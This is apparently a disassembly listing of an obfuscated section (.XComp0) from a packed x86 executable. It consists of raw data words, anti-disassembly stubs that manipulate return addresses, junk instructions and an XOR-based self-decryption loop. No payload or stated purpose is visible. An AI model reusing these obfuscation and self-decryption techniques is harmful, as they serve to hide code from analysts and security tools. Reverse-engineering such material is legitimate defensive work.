		dd 816605F9h, 61E1B0E8h, 35E9h,	71CA8100h, 66100999h, 16BFDB81h
		dd 0C2057E80h, 7C840Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 66F8F4C3h, 6A46FD4Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 89B7C350h, 0F919BDB5h, 0DABF0F05h, 83850F49h
		dd 8BFFFFFFh, 0F928919Dh, 71E905h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 9F70A0C3h
		dd 34C19589h, 0B58905F9h, 5F92099h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 30C35343h, 521BEA15h, 57DA0BDCh
		dd 0C99D8B9Dh, 8905F907h, 0F912AD95h, 11E905h, 40D40000h
		dd 40B5D8FEh, 0D3BBBFC9h
		dd 3D8287E4h, 586D3AB3h, 0DF693FBBh, 0A5BD8337h, 5F90Dh
		dd 143840Fh, 0D68B0000h, 50006A60h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 51C15FB9h, 8AD0FE08h
		dd 9985C6F1h, 5405F918h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 43C35242h, 0A58501F1h, 0E805F91Eh, 4
		dd 0FF4EBEF4h, 8B666050h, 0D78B66CFh, 24448B61h, 8B62B304h
		dd 89DA8B00h, 51042444h, 52505250h, 585A310Fh, 14E8310Fh
		dd 9000000h, 9237AD0Ah,	9A689087h, 34913AFFh, 0E7A637D1h
		dd 5A866181h, 585B585Ah, 0EE9h,	2910D700h, 0A9B4686Ah
		dd 0D7B05777h, 52E94841h, 0CED958Bh, 0FF5B05F9h, 0F908D1B5h
		dd 55BD8905h, 0F905F927h, 0C510858Dh, 0C28105FCh, 1F2710F7h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 413C6EC3h, 8D0EF047h, 0BB6664E6h,	958BB30Dh
		dd 5F90481h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0FE220BC3h, 0EAB0344Ah, 0DA5B5FFh
		dd 0BD8905F9h, 5F9293Dh, 7E9D0FFh, 2C000000h, 94CE339Fh
		dd 896158F3h, 0F92E19BDh, 5985C705h, 105F911h, 89000000h
		dd 0F900198Dh, 9D8B6005h, 5F927E5h, 53EB2E68h, 870F60C9h
		dd 2, 0E8575F50h, 10h, 2092068Ah, 0BD2DB2D0h, 8F624516h
		dd 0B2A4892Fh, 81615B5Ah, 15522404h, 0BA6636ACh, 0FF6A23DBh
		dd 10840Fh, 0BE90000h, 42000000h, 8448F64Fh, 39B6D77Fh
		dd 95FFB40Eh, 5F92491h,	12E9h, 96EB4F00h, 0F7A6C779h, 41DF9Bh
		dd 0D84F64FDh, 61E06D2Ch, 6840Fh, 958B0000h, 5F924A1h
		dd 52505090h, 310F50B3h, 66D18B60h, 6118B8BAh, 6A90585Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 1786C357h, 2EE1858Bh, 0A7B205F9h,	840FC00Bh
		dd 12h,	11C99529h, 95FF05F9h, 5F91E85h,	7B1B589h, 85C705F9h
		dd 5F917E5h, 1,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	92C35343h, 0F50F146h, 18Ah, 895AF800h, 0F91F59B5h
		dd 11BD8305h, 5F910h, 37840Fh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 87A01DC3h
		dd 399D23CEh, 8105F934h, 0BD0CE9E3h, 0F195FF68h, 8905F921h
		dd 0F9330D95h, 1DBD8305h, 5F918h, 12840Fh, 0BA660000h
		dd 0B5894531h, 5F90489h, 249995FFh, 0D18B05F9h,	45BD83h
		dd 0F0005F9h, 1C84h, 0E8BB6600h, 0E1BD8378h, 5F90Ah, 0B850Fh
		dd 0FFF80000h, 0F905D195h, 42BB6605h, 0D5BD8346h, 5F924h
		dd 43840Fh, 0BB660000h,	958B35E9h, 5F914B9h, 28E98581h
		dd 400305F9h, 81F50000h, 0F915DD85h, 400305h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0B6DCAF45h, 0BF0FFF60h, 6A310FD8h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C477C352h
		dd 0FBDDFE7h, 8D8DD7B7h, 5F95DBFh, 243CF381h, 1890D4Ah
		dd 19C5958Bh, 0C23305F9h, 648A7ABBh, 4418951h, 5472BA66h
		dd 958B310Fh, 5F92BDDh,	5DCA8D8Dh, 0BE805F9h, 73000000h
		dd 0C7A35ADCh, 565A01A0h, 0F6BBE3A3h, 5B6BB3FCh, 0BF0F0189h
		dd 6AC233DFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 135EC351h, 0AEBB7613h,	891892E4h
		dd 9D8B0441h, 5F921F9h,	208DBD83h, 0F0005F9h, 1A84h, 25BD8900h
		dd 6005F900h, 2880Fh, 61600000h, 5195FF61h, 6605F90Fh
		dd 83FECCBBh, 0F90C1DBDh, 850F0105h, 57h, 20659529h, 4CE905F9h
		dd 60000000h, 0BC4891B8h, 0A0B9664Fh, 0B58B612Fh, 5F95ED1h
		dd 6C7h, 0B58B0000h, 5F95D1Ch, 6C7h, 6ACF0000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 3B8CC352h, 123CAB9h,	0DA8BE47Bh, 83F0CA80h, 0F917E5BDh
		dd 840F0005h, 181h, 38A0Fh, 0C2800000h,	0A9BD830Dh, 105F917h
		dd 137850Fh, 9D8B0000h,	5F91EF1h, 4E718D8Bh, 6A05F9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 958929C3h, 5F9150Dh,	6A0001C6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 8BF7C357h
		dd 719D8BC4h, 6005F904h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 84C35141h, 384AAA9Bh,	14E9h, 96A8000h
		dd 9948D15Fh, 5778ADC5h, 0A032C32Bh, 6FD42942h,	0A51768DDh
		dd 0BE9CA45h, 9B000000h, 54967C3Ch, 2DA5AD60h, 48184E6h
		dd 0BA5B6924h, 56006A35h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0FF4EAD6Bh, 0DF8B664Eh
		dd 6A9FCF80h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 95FF5EB8h, 5F92491h, 3810Fh, 8B660000h
		dd 0B70F61D9h, 0BD95FFD0h, 5205F931h, 68A0Fh, 9D310000h
		dd 5F921E1h, 718D8B5Bh,	0F05F94Eh, 487h, 0CEBB6600h, 6001FE1Eh
		dd 13B98589h, 0B58905F9h, 5F91645h, 3DBD8361h, 105F934h
		dd 27850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 64323FC3h, 3CB8BB60h, 0D68B30BDh
		dd 6AC08B61h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0EE95C357h, 0C56554B1h, 8E9E261h
		dd 28000000h, 0AA8EF9DCh, 8BBB7CCFh, 0C9BD83DEh, 5F931h
		dd 0BD830975h, 5F912B5h, 501A7400h, 8BC08B53h, 0F928E985h
		dd 0E9858905h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h, 0B5BD8358h
		dd 5F912h, 53501874h, 28E9858Bh, 858905F9h, 5F928E9h, 0F0739D8Dh
		dd 0D3FF05FBh, 9D89585Bh, 5F91891h, 5E9h, 356F1C00h, 0C08B887Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9FC35747h
		dd 0DBB6F9F4h, 0D6B70F14h, 10E9h, 0CD51AC00h, 0E80A0298h
		dd 7CD2AD27h, 0CA7E00ACh, 0E5BD8342h, 5F917h, 2D850Fh
		dd 850F0000h, 2, 0BD83DF8Bh, 5F90D09h, 18840F00h, 0E9000000h
		dd 13h,	34EF1E78h, 139BBBC7h, 0C941669Eh, 0BFB4C6AEh, 83FF93BCh
		dd 0F917E5BDh, 840F0005h, 4Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 21C35646h, 93CE38AFh, 0E8717391h
		dd 9, 283793h, 3BBCA79Ah, 0B4605A09h, 0B9BD8922h, 6105F905h
		dd 3499BD83h, 0F0005F9h, 684h, 9D958B00h, 8305F919h, 0F917E5BDh
		dd 840F0005h, 39h, 4850Fh, 0BA660000h, 0BD839BA1h, 5F93499h
		dd 22840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 68D3C352h, 8B66C687h
		dd 0E5BD83D0h, 5F917h, 34840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 4A0BECC3h
		dd 9D29F2BFh, 5F920D9h,	395BD83h, 0F0005F9h, 184h, 0BD83F800h
		dd 5F917E5h, 59840F00h,	0F000000h, 480h
		dd 0F6BB6600h, 0B5BD837Ah, 5F928h, 42840Fh, 12E90000h
		dd 1F000000h, 9AD9BC0Dh, 0BC830416h, 0D99C61F7h, 84A42B3Ah
		dd 0DEB70F1Bh, 288D95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0EC2771C3h, 0D3329C64h
		dd 6E9C08Bh, 0E1000000h, 0B43F5A50h, 0C9BD83A6h, 5F931h
		dd 0BD830975h, 5F912B5h, 501A7400h, 8BC08B53h, 0F915DD85h
		dd 0DD858905h, 8D05F915h, 0FBF3EB9Dh, 5BD3FF05h, 0B5BD8358h
		dd 5F912h, 53501874h, 15DD858Bh, 858905F9h, 5F915DDh, 0F08C9D8Dh
		dd 0D3FF05FBh, 8B0F585Bh, 1, 0FE9F9h, 0F9EC0000h, 7C6157FEh
		dd 9746045h, 0E3C21471h, 6AC08BC4h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0EF20C351h
		dd 0DC9F6FA6h, 0E5BD83F5h, 5F917h, 4BF840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 35B1B1C3h, 0F5BD832Dh, 205F92Dh, 40840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 839EF1C3h, 0F90C1DBDh, 850F0105h, 16h, 108D0Fh, 0BE90000h
		dd 7C000000h, 740082B0h, 787C9E69h, 8960756Ch, 0F9171DBDh
		dd 0D78B6605h, 4E718D8Bh, 950B05F9h, 5F90CB5h, 890F01FEh
		dd 6, 0E6E5F381h, 4E80338h, 80000000h, 0B3000000h, 525250A6h
		dd 5A5BDE8Ah, 424448Bh,	4751BB66h, 5250008Bh, 58A0Fh, 0ACBA0000h
		dd 0F0DDA56h, 0B1BB6631h, 89585A27h, 66042444h,	6A58D78Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 8983C352h, 1389BD89h, 0FF6A05F9h,	95FF64B3h
		dd 5F92491h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	2FC35747h, 0B682D6AAh, 168E0Fh,	0AE80000h, 48000000h
		dd 301CC3BDh, 9F6096B0h, 4D958BC7h, 5A05F911h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 3FBE563Fh, 91F7EC08h, 0D9BD8D8Fh, 6A05F934h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 1A89C353h, 92C0F6B7h, 8B67CA80h, 6A1C4Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 19B5A3C3h
		dd 9D8BA17Eh, 5F91F1Dh,	28D59D8Bh, 16A05F9h, 0C1816660h
		dd 61F8388Ch, 0D0BA6650h, 240C8978h, 11E9h, 0D3465400h
		dd 0E717AC41h, 16F08B8h, 0C65BA70Fh, 858DED9Fh,	5FC7A08h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 48C35646h
		dd 7AD3F14Ch, 8D09CCE4h, 5F914B9h, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0EE9174C3h
		dd 45236EF5h, 1840Fh, 8BF80000h, 0F913B195h, 204F8B05h
		dd 0EDCA8166h, 6ADA8A65h, 55006A03h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 27608E0Fh
		dd 9E95095h, 0F5000000h, 47220A5Ch, 85110F9Bh, 0E9240C89h
		dd 12h,	0ADB5CF59h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh, 8DFC3C0Dh
		dd 0FC7A0885h, 5880F05h, 66000000h, 3472D381h, 9D8BD0FFh
		dd 5F92B59h, 34D9BD8Dh,	6A05F9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8918A9C3h, 0F91219BDh
		dd 0DDC68005h, 6A1C4F8Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0AFE9C356h,	0E59C6D30h
		dd 2EDC874Eh, 1585958Bh, 16A05F9h, 5EC7E281h, 60916E12h
		dd 5061F08Ah, 28C0Fh, 15B60000h, 0CE991h, 866A0000h, 986956A0h
		dd 6F0B8F1Eh, 9E83E6Ah,	5E000000h, 0EC4D144Ah, 0E7C998CAh
		dd 6B45BA66h, 8858D5Ah,	6A05FC7Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5F9C352h
		dd 0A0B182B3h, 6AD0FFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 27839DC3h, 890C9C1Eh, 0F90D9D95h
		dd 6D958905h, 8B05F931h, 9D2B204Fh, 5F91FE5h, 0ACBB036Ah
		dd 504456E4h, 0BA665250h, 310F07FFh, 0C89585Ah,	0F18D8924h
		dd 8D05F91Ah, 0FC7A0885h, 800F5005h, 6,	6619D0Bh, 0FF5A05F9h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 5E9A9h, 0C6350000h, 8BE92941h, 0F94E718Dh
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 6660C52Fh, 0D3EAD881h, 1E39B509h, 0FE6105F9h
		dd 2F78001h, 4E71858Bh,	816605F9h, 0FE3F33DBh, 6ADA8B00h
		dd 0DD958901h, 0E805F914h, 4, 0FFFF9FFFh, 13E9h, 0B1C38000h
		dd 0A4A79217h, 637F70C0h, 1247837Dh, 0C2FA0048h, 840F6050h
		dd 6, 8A0Fh, 0C7B80000h, 61478C46h, 424448Bh, 0BA665250h
		dd 310F6E14h, 0E05DBFBAh, 8B585A4Dh, 66516000h,	5E4D42B9h
		dd 61605250h, 6160310Fh, 8961585Ah, 0B6042444h,	8E958D2h
		dd 1F000000h, 7B64A983h, 8D7DD939h, 0FC7A1285h,	0FD0FF05h
		dd 488h, 25BB6600h, 9BD8345h, 5F90Dh, 0F4840Fh,	0BD830000h
		dd 5F91785h, 0E7850F01h, 0E8000000h, 9,	39173E3Fh, 0D6223FDh
		dd 0EE961h, 13830000h, 14BD4BA6h, 62340C6Eh, 6027C68h
		dd 1C8D8D5Bh, 0BB05FC7Ah, 45263FC7h, 0CE9036Ah,	0F5000000h
		dd 0CE945B8Dh, 0CFE8E277h, 8B0379CAh, 0F91AC59Dh, 51016A05h
		dd 49850B60h, 2905F900h, 0F91111B5h, 0FF5B6105h, 57006AD1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 890FBB9Ch, 6, 2231B589h, 16A05F9h, 6A016AF9h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0F063C355h, 898A24CAh, 6860F89h, 89000000h, 0F916559Dh
		dd 81D1FF05h, 0F4CE22E3h, 6D45E811h, 820FFA62h,	5, 96F103BBh
		dd 14E956h, 823B0000h, 149BDEE9h, 3D4616BCh, 5A0A04AFh
		dd 85849E81h, 206A9781h, 0E993BB66h, 0F281FF6Ah, 78EE38FBh
		dd 249195FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 491DA4C3h, 0B0A188E1h, 0B8E6B1h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 1A26C357h, 0EF11191Eh,	2B6F3041h
		dd 0F900B195h, 0DBD2905h, 0B05F908h, 41840FC0h,	81000000h
		dd 0A5F3B9CBh, 8374B743h, 0F913EDBDh, 840F0005h, 2Ch, 95FF0CB6h
		dd 5F907E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0A4C35646h, 9D8BACBFh, 5F90DBDh, 1151858Bh, 816605F9h
		dd 0C6C0C7DBh, 958B0000h, 5F921BDh, 0E858DE8Bh,	0Bh, 1B65EA77h
		dd 4FBEE627h, 0FB78012h, 680h, 859D0300h, 5B05F914h, 0E8D98C66h
		dd 0Ah,	8608892Bh, 0B7A60756h, 9D8B1AB2h, 5F921F5h, 4C1F65Bh
		dd 73840Fh, 952B0000h, 5F92469h, 68E9h,	55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 296676D3h, 0F780CB10h, 69B58B07h, 8A05F905h,	80C681D1h
		dd 66000011h, 6C7DA8Bh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5720AF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5720AF	proc near		; CODE XREF: .XComp0:005720A7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5720AF	endp

; ---------------------------------------------------------------------------
		das
		dec	ebp
		db	65h, 64h
		aaa
		inc	ebx
		mov	edx, [ebp+5F92CB1h]
		add	ebx, 123E4E96h
		pop	esi
		mov	edx, [ebp+5F90D59h]
		cmp	eax, 0
		jz	loc_572C3D
		mov	[ebp+5F91775h],	ecx
		cmp	eax, 1
		jnz	loc_57227C
		push	0
		push	esi
		call	sub_5720FB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5720FB	proc near		; CODE XREF: .XComp0:005720F3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5720FB	endp

; ---------------------------------------------------------------------------
		popa
		cmp	eax, 0B2BEB310h
		das
		mov	eax, 0
		push	0
		push	edx
		call	sub_572122
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572122	proc near		; CODE XREF: .XComp0:0057211Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_572122	endp

; ---------------------------------------------------------------------------
		pop	ebx
		setalc
		xchg	eax, ecx
		fmul	dword ptr [esi+3Ch]
		or	[ebp+5F92551h],	ebx
		or	eax, eax
		jz	loc_572200
		mov	bl, 72h
		cmp	eax, 1
		jz	loc_57222E
		mov	ebx, [ebp+5F91241h]
		cmp	eax, 3
		jz	loc_5721A9
		mov	edx, [ebp+5F90C79h]
		mov	eax, 0
		jns	loc_572177
		mov	[ebp+5F92B71h],	ecx


loc_572177:				; CODE XREF: .XComp0:0057216Bj
		lea	edi, dword_5B89E0[ebp]
		mov	edx, [ebp+5F90FB1h]
		jmp	edi
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_572190
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572190	proc near		; CODE XREF: .XComp0:00572188p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_572190	endp

; ---------------------------------------------------------------------------
		dd 0E934695Ah, 29F84D68h
		db 0C2h
; ---------------------------------------------------------------------------


loc_5721A9:				; CODE XREF: .XComp0:0057215Aj
					; .XComp0:005722C9j
		mov	eax, 1
		push	0
		push	esi
		call	sub_5721B9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5721B9	proc near		; CODE XREF: .XComp0:005721B1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5721B9	endp

; ---------------------------------------------------------------------------
		db 6Bh,	0F2h, 4Eh
		dd 0F3FE696h, 9D23D7BFh, 5F91F3Dh, 89E0BD8Dh, 2960005Bh
		dd 0F9250D85h, 58D0F05h, 66000000h, 73D1D781h, 0B8BA5761h
		dd 5B0FF296h, 958BE7FFh, 5F92C91h
; ---------------------------------------------------------------------------


loc_572200:				; CODE XREF: .XComp0:00572140j
		lea	edi, [ebp+5F944FDh]
; ---------------------------------------------------------------------------
byte_572206	db 66h			; CODE XREF: .XComp0:00572253j
; ---------------------------------------------------------------------------


loc_572207:				; CODE XREF: .XComp0:0057224Fj
		mov	edx, ebx
		jmp	loc_572478
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_572219
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572219	proc near		; CODE XREF: .XComp0:00572211p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_572219	endp

; ---------------------------------------------------------------------------
		db 0F5h, 34h, 55h
		db 2Fh,	0BFh
; ---------------------------------------------------------------------------


loc_57222E:				; CODE XREF: .XComp0:0057214Bj
					; .XComp0:005722BEj
		mov	dword ptr [ebp+5F94ECCh], 5
		xor	edx, [ebp+5F917B9h]
		mov	eax, 5
		push	ebx
		call	sub_572255
		lock ficomp word ptr [ebp-4Ch]
		push	esp
		jle	short loc_572207
		add	cl, [eax]
		jns	short near ptr byte_572206

; =============== S U B	R O U T	I N E =======================================



sub_572255	proc near		; CODE XREF: .XComp0:00572244p
		call	near ptr loc_57226B+1
		mov	byte ptr [ecx-27D89263h], 94h
		adc	eax, 57193CE6h
		ror	byte ptr [esi-4Ah], cl
		rcl	bh, cl


loc_57226B:				; CODE XREF: sub_572255p
		jnb	short near ptr loc_5722C6+2
sub_572255	endp ; sp-analysis failed

		pop	ebx
		pop	ebx
		jmp	loc_572B74
; ---------------------------------------------------------------------------
		sub	[ebp+5F924F9h],	edx
		mov	ebx, edx


loc_57227C:				; CODE XREF: .XComp0:005720EAj
		cmp	eax, 2
		jnz	loc_57234D
		jmp	loc_57229C
; ---------------------------------------------------------------------------
		dw 0C9CFh
		dd 0AB0DDCFCh, 53505037h, 36C4689Ah, 7A2AB869h
; ---------------------------------------------------------------------------


loc_57229C:				; CODE XREF: .XComp0:00572285j
		mov	eax, 0
		mov	bx, 6E2h
		or	eax, eax
		jz	loc_57233B
		jmp	loc_5722BB
; ---------------------------------------------------------------------------
		dw 0ED60h
; ---------------------------------------------------------------------------
		mov	ebp, 0BD42AC56h
		test	esp, eax


loc_5722BB:				; CODE XREF: .XComp0:005722ADj
		cmp	eax, 1
		jz	loc_57222E
		mov	edx, eax


loc_5722C6:				; CODE XREF: sub_572255:loc_57226Bj
		cmp	eax, 3
		jz	loc_5721A9
		push	0
		push	esi
		call	sub_5722DA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5722DA	proc near		; CODE XREF: .XComp0:005722D2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5722DA	endp

; ---------------------------------------------------------------------------
		aam	91h
		dec	esi
		mov	ebx, 0F810A070h
		jno	loc_5722FB
		movzx	ebx, bx


loc_5722FB:				; CODE XREF: .XComp0:005722F2j
		mov	dx, 20FAh
		sub	eax, eax
		mov	[ebp+5F9163Dh],	esi
		lea	edi, dword_5B89E0[ebp]
		mov	dx, di
		jmp	edi
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_57231D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57231D	proc near		; CODE XREF: .XComp0:00572315p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_57231D	endp

; ---------------------------------------------------------------------------
		and	[ebx-2674CEB1h], dh
		push	edx
		mov	[ebp+5F9061Dh],	edx
		pop	ebx


loc_57233B:				; CODE XREF: .XComp0:005722A7j
		lea	edi, [ebp+5F946F5h]
		cld
		jmp	loc_572478
; ---------------------------------------------------------------------------
		mov	[ebp+5F9281Dh],	ecx


loc_57234D:				; CODE XREF: .XComp0:0057227Fj
		cmp	eax, 3
		jnz	loc_57239F
		push	0
		push	eax
		call	sub_572361
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572361	proc near		; CODE XREF: .XComp0:00572359p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_572361	endp

; ---------------------------------------------------------------------------
		db 4, 3Dh, 15h
		dd 890FCE95h, 6, 34C18D31h, 0BD8D05F9h,	5F94889h, 7E9h
		dd 837A1000h, 116A789Ah, 0DFE9h, 91B58900h
		db 28h,	0F9h, 5
; ---------------------------------------------------------------------------


loc_57239F:				; CODE XREF: .XComp0:00572350j
		cmp	eax, 5
		jnz	loc_5723D6
		sbb	bh, 84h
		jmp	loc_572B74
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5723BB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5723BB	proc near		; CODE XREF: .XComp0:005723B3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5723BB	endp

; ---------------------------------------------------------------------------
		db 0DEh
; ---------------------------------------------------------------------------
		adc	bh, [ecx]
		pusha
		sub	[ebp+5F908FDh],	ecx
		popa


loc_5723D6:				; CODE XREF: .XComp0:005723A2j
		cmp	eax, 6
		jnz	loc_5723FC
		mov	edx, [ebp+5F918EDh]
		lea	edi, [ebp+5F94A81h]
		mov	[ebp+5F92A95h],	esi
		jmp	loc_572478
; ---------------------------------------------------------------------------
		add	[ebp+5F90951h],	ecx


loc_5723FC:				; CODE XREF: .XComp0:005723D9j
		cmp	eax, 7
		jnz	loc_57243C
		mov	edx, [ebp+5F9054Dh]
		lea	edi, [ebp+5F92F0Dh]
		push	0
		push	eax
		call	sub_57241C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57241C	proc near		; CODE XREF: .XComp0:00572414p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_57241C	endp

; ---------------------------------------------------------------------------
		dd 938B8494h, 0ACE97ADCh, 0BA000000h, 95D51EFh
; ---------------------------------------------------------------------------


loc_57243C:				; CODE XREF: .XComp0:005723FFj
		cmp	eax, 0Ah
		jnz	loc_572478
		movzx	ebx, di
		mov	dh, bl
		lea	edi, [ebp+5F94C79h]
		mov	[ebp+5F90F91h],	edi
		jmp	loc_572478
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_572466
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572466	proc near		; CODE XREF: .XComp0:0057245Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_572466	endp

; ---------------------------------------------------------------------------
		dw 8D9Bh
; ---------------------------------------------------------------------------


loc_572478:				; CODE XREF: .XComp0:00572209j
					; .XComp0:00572342j ...
		push	edi
		jmp	loc_572487
; ---------------------------------------------------------------------------
		icebp
		stosd
		fcmovne	st, st(3)
		mov	eax, ds:738C7191h


loc_572487:				; CODE XREF: .XComp0:00572479j
		mov	ecx, 6557C8B3h
		xor	ebx, 7DADE4DAh


loc_572492:				; CODE XREF: .XComp0:005724B2j
		cmp	dword ptr [edi], 0
		jz	loc_5724DC
		mov	edx, 20AF34A0h
		xor	[edi], cl
		mov	[ebp+5F91A81h],	eax
		mov	ebx, esi
		ror	ecx, 1
		mov	bl, 0E2h
		inc	edi
		add	bl, 0C7h
		jmp	loc_572492
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5724C2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5724C2	proc near		; CODE XREF: .XComp0:005724BAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
